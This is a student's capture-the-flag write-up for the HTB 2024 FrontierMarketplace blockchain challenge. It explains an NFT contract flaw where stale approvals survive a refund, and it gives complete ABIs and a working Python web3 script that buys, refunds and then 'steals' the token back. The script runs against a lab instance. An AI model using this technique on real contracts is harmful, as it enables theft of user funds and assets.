HacktheBox Binary Badlands 2024—Frontier Marketplace CTF Writeup

Welcome to another Capture-the-Flag (CTF) write-up! In this post, I’ll walk you through how I solved the FrontierMarketplace challenge in…

HTB CTF 2024 Binary Badlands: Blockchain-FrontierMarketplace

Welcome to another Capture-the-Flag (CTF) write-up! In this post, I’ll walk you through how I solved the FrontierMarketplace challenge in the Blockchain category. This challenge was part of HTB’s University CTF 2024, where our school proudly participated and secured the 120th spot on the leaderboard. Let’s dive into the solution and explore the steps I took to crack this challenge!

Description

In the lawless expanses of the Frontier Board, digital assets hold immense value and power. Among these assets, the FrontierNFTs are the most sought-after, representing unique and valuable items that can influence the balance of power within the cluster. This government has managed to win a lot of approval and consensus from the people, through a strong propaganda campaign through their FrontierNFT which is receiving a lot of demand. Your goal is to somehow disrupt the political ride of the Frontier Board party.

  1. File Analyzation

Two endpoints are provided for interaction, one of which is accessible via netcat. This endpoint offers a simple interface, allowing us to retrieve the secret key, the marketplace contract address, and the setup contract address. Additionally, it enables us to reset the challenge and claim the flag once the challenge is solved.

First, we download the provided files! We’ve given 3 solidity files: FrontierMarketplace.sol FrontierNFT.sol Setup.sol

Let’s start analyzing the files!!

Setup.sol

As shown here, this script defines the available balance and the price of the NFT. There’s also an isSolved function, which, based on my understanding, checks if we win by verifying if the combined total of our NFT balance and real balance exceeds 20 ether. Additionally, we need to own at least one NFT. Therefore, one possible way to win is by having a balance of 20 ether and one NFT.

How about the FrontierNTF.sol?

Both functions require the caller to be the token owner. However, the approvals are never cleared, meaning that once an address is approved for a token, it remains approved indefinitely. When purchasing a token, we can grant the marketplace approval for all tokens, allowing us to refund the token later. Alternatively, we can approve ourselves directly for the token, enabling us to transfer it to our own account whenever we choose.

This is susceptible!

This function ensures that the token can only be transferred by the owner, which is a positive aspect. However, it does not enforce that the owner must be the one to call the function. We just need to remember that the caller is the owner, approved for anyone, and for specific token.

By now, it should be clear how we can tackle the challenge. First, we purchase a token, then approve the marketplace for all tokens and give ourselves approval for the specific token. Afterward, we refund the token and retrieve it for ourselves.

Since the FrontierMarketplace.sol contract already exposes the frontierNFT contract, this becomes straightforward for us.

2. Exploitation

To exploit this, we’ll leverage Python, combining the power of ABI and web3. But before diving into the exploit, we need to first develop the ABI for the contracts involved. This will allow us to interact with the blockchain and the relevant contracts seamlessly, enabling us to perform the necessary actions like buying, approving, refunding, and transferring the NFT back to our account. Once the ABI is ready, we can proceed with the exploit and carry out the steps to manipulate the system to our advantage.

This is the ABI

SETUP = [
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": False,
                "internalType": "address",
                "name": "at",
                "type": "address"
            }
        ],
        "name": "DeployedTarget",
        "type": "event"
    },
    {
        "inputs": [],
        "name": "PLAYER_STARTING_BALANCE",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "NFT_VALUE",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "TARGET",
        "outputs": [
            {
                "internalType": "contract FrontierMarketplace",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    }
]


MARKETPLACE = [
    {
        "inputs": [],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "TOKEN_VALUE",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "buyNFT",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "payable",
        "type": "function"
    },
    {
        "inputs": [
            {
                "internalType": "uint256",
                "name": "tokenId",
                "type": "uint256"
            }
        ],
        "name": "refundNFT",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "frontierNFT",
        "outputs": [
            {
                "internalType": "contract FrontierNFT",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "owner",
        "outputs": [
            {
                "internalType": "address",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": True,
                "internalType": "address",
                "name": "buyer",
                "type": "address"
            },
            {
                "indexed": True,
                "internalType": "uint256",
                "name": "tokenId",
                "type": "uint256"
            }
        ],
        "name": "NFTMinted",
        "type": "event"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": True,
                "internalType": "address",
                "name": "seller",
                "type": "address"
            },
            {
                "indexed": True,
                "internalType": "uint256",
                "name": "tokenId",
                "type": "uint256"
            }
        ],
        "name": "NFTRefunded",
        "type": "event"
    }
]

NFT = [
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "marketplace",
                                "type": "address"
                        }
                ],
                "stateMutability": "nonpayable",
                "type": "constructor"
        },
        {
                "anonymous": False,
                "inputs": [
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "owner",
                                "type": "address"
                        },
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "approved",
                                "type": "address"
                        },
                        {
                                "indexed": True,
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "Approval",
                "type": "event"
        },
        {
                "anonymous": False,
                "inputs": [
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "owner",
                                "type": "address"
                        },
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "operator",
                                "type": "address"
                        },
                        {
                                "indexed": False,
                                "internalType": "bool",
                                "name": "approved",
                                "type": "bool"
                        }
                ],
                "name": "ApprovalForAll",
                "type": "event"
        },
        {
                "anonymous": False,
                "inputs": [
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "from",
                                "type": "address"
                        },
                        {
                                "indexed": True,
                                "internalType": "address",
                                "name": "to",
                                "type": "address"
                        },
                        {
                                "indexed": True,
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "Transfer",
                "type": "event"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "to",
                                "type": "address"
                        },
                        {
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "approve",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "owner",
                                "type": "address"
                        }
                ],
                "name": "balanceOf",
                "outputs": [
                        {
                                "internalType": "uint256",
                                "name": "",
                                "type": "uint256"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "burn",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "getApproved",
                "outputs": [
                        {
                                "internalType": "address",
                                "name": "",
                                "type": "address"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "owner",
                                "type": "address"
                        },
                        {
                                "internalType": "address",
                                "name": "operator",
                                "type": "address"
                        }
                ],
                "name": "isApprovedForAll",
                "outputs": [
                        {
                                "internalType": "bool",
                                "name": "",
                                "type": "bool"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "to",
                                "type": "address"
                        }
                ],
                "name": "mint",
                "outputs": [
                        {
                                "internalType": "uint256",
                                "name": "",
                                "type": "uint256"
                        }
                ],
                "stateMutability": "nonpayable",
                "type": "function"
        },
        {
                "inputs": [],
                "name": "name",
                "outputs": [
                        {
                                "internalType": "string",
                                "name": "",
                                "type": "string"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "ownerOf",
                "outputs": [
                        {
                                "internalType": "address",
                                "name": "",
                                "type": "address"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "operator",
                                "type": "address"
                        },
                        {
                                "internalType": "bool",
                                "name": "approved",
                                "type": "bool"
                        }
                ],
                "name": "setApprovalForAll",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
        },
        {
                "inputs": [],
                "name": "symbol",
                "outputs": [
                        {
                                "internalType": "string",
                                "name": "",
                                "type": "string"
                        }
                ],
                "stateMutability": "view",
                "type": "function"
        },
        {
                "inputs": [
                        {
                                "internalType": "address",
                                "name": "from",
                                "type": "address"
                        },
                        {
                                "internalType": "address",
                                "name": "to",
                                "type": "address"
                        },
                        {
                                "internalType": "uint256",
                                "name": "tokenId",
                                "type": "uint256"
                        }
                ],
                "name": "transferFrom",
                "outputs": [],
                "stateMutability": "nonpayable",
                "type": "function"
        }
]

To know your Private key, contract, setup, just use netcat and paste the IP to be able to access the simple interface of the challenge and type 1 (1 — Get connection informations).

Time for our exploit!!!

from web3 import Web3
from abi import SETUP, MARKETPLACE, NFT

PRIVATE_KEY = "0xcb0ec51215ee8a37320cac3d0915045bf138a281778b16a1d1df1e19e2984fd6"
MARKETPLACE_ADDR = "0x9ef4cB496C6d1FB214A68d7EaF6FB2D2c45F8AaF"
SETUP_ADDR = "0x2E9EEE1a5742c734B6712fD93c4C173842b2f7Bf"
NODE_URL = 'http://94.237.55.132:57329/'

def connect_to_chain():
    """Initialize connection to the blockchain."""
    chain = Web3(Web3.HTTPProvider(NODE_URL))
    if not chain.is_connected():
        raise Exception("[!] Failed to connect to the blockchain!")
    print(f"[+] Connected to blockchain: {NODE_URL}")
    return chain

def load_wallet(chain):
    """Load attacker wallet."""
    wallet = chain.eth.account.from_key(PRIVATE_KEY)
    print(f"[+] Loaded wallet: {wallet.address}")
    return wallet

def show_balance(chain, address):
    """Display the ETH balance of a given address."""
    balance = chain.eth.get_balance(address) / 10**18
    print(f"[+] Balance of {address}: {balance:.4f} ETH")

def load_contract(chain, address, abi, name):
    """Load a smart contract."""
    contract = chain.eth.contract(address=address, abi=abi)
    print(f"[+] Loaded {name} Contract: {address}")
    return contract

def buy_nft(chain, contract, wallet, cost):
    """Purchase an NFT."""
    token_id = contract.functions.buyNFT().call({'value': cost, 'from': wallet.address})
    print(f"[+] NFT Purchase - Token ID: {token_id}")
    tx = contract.functions.buyNFT().transact({'value': cost, 'from': wallet.address})
    print(f"[+] Transaction Hash: {tx.hex()}")
    return token_id

def approve_nft(chain, nft_contract, operator, wallet):
    """Approve NFT operations."""
    tx = nft_contract.functions.setApprovalForAll(operator, True).transact({'from': wallet.address})
    print(f"[+] Approved all NFTs for {operator}. TX Hash: {tx.hex()}")

def approve_single_nft(chain, nft_contract, token_id, wallet):
    """Approve a single NFT."""
    tx = nft_contract.functions.approve(wallet.address, token_id).transact({'from': wallet.address})
    print(f"[+] Approved Token ID {token_id}. TX Hash: {tx.hex()}")

def refund_nft(chain, contract, token_id, wallet):
    """Refund an NFT."""
    refund_call = contract.functions.refundNFT(token_id).call({'from': wallet.address})
    print(f"[+] Refund Call: {refund_call}")
    tx = contract.functions.refundNFT(token_id).transact({'from': wallet.address})
    print(f"[+] Refund Transaction Hash: {tx.hex()}")

def steal_nft(chain, nft_contract, operator, wallet, token_id):
    """Steal NFT back from the marketplace."""
    tx = nft_contract.functions.transferFrom(operator, wallet.address, token_id).transact({'from': wallet.address})
    print(f"[+] Stolen NFT Token ID {token_id}. TX Hash: {tx.hex()}")

def main():
    # Initialize blockchain and wallet
    chain = connect_to_chain()
    wallet = load_wallet(chain)
    show_balance(chain, wallet.address)
    # Load contracts
    setup_contract = load_contract(chain, SETUP_ADDR, SETUP, "Setup")
    market_contract = load_contract(chain, MARKETPLACE_ADDR, MARKETPLACE, "Marketplace")
    nft_address = market_contract.functions.frontierNFT().call()
    nft_contract = load_contract(chain, nft_address, NFT, "NFT")
    # Execute attack steps
    nft_cost = 10 * 10**18
    token_id = buy_nft(chain, market_contract, wallet, nft_cost)
    show_balance(chain, wallet.address)
    approve_nft(chain, nft_contract, MARKETPLACE_ADDR, wallet)
    approve_single_nft(chain, nft_contract, token_id, wallet)
    refund_nft(chain, market_contract, token_id, wallet)
    steal_nft(chain, nft_contract, MARKETPLACE_ADDR, wallet, token_id)
    # Final stats
    show_balance(chain, wallet.address)
    final_nft_balance = nft_contract.functions.balanceOf(wallet.address).call()
    print(f"[+] Final NFT Balance: {final_nft_balance}")

if __name__ == "__main__":
    main()

Run and we should have 1 NFT Balance

And it has!!!!!!!

At this point, we can now access the interface again through netcat and get the flag!

Yes!!!!!!!

Conclusion

As a CTF participant with limited experience in blockchain hacking, I was thrilled to successfully solve this challenge through self-study. I took the time to dive into Solidity and gain a deeper understanding of how cryptocurrency operates at the programmatic level. This experience not only expanded my knowledge of smart contracts but also gave me a more practical perspective on the inner workings of decentralized applications. By learning how transactions, gas fees, and token approvals work, I was able to piece together the logic behind the exploit.

Last updated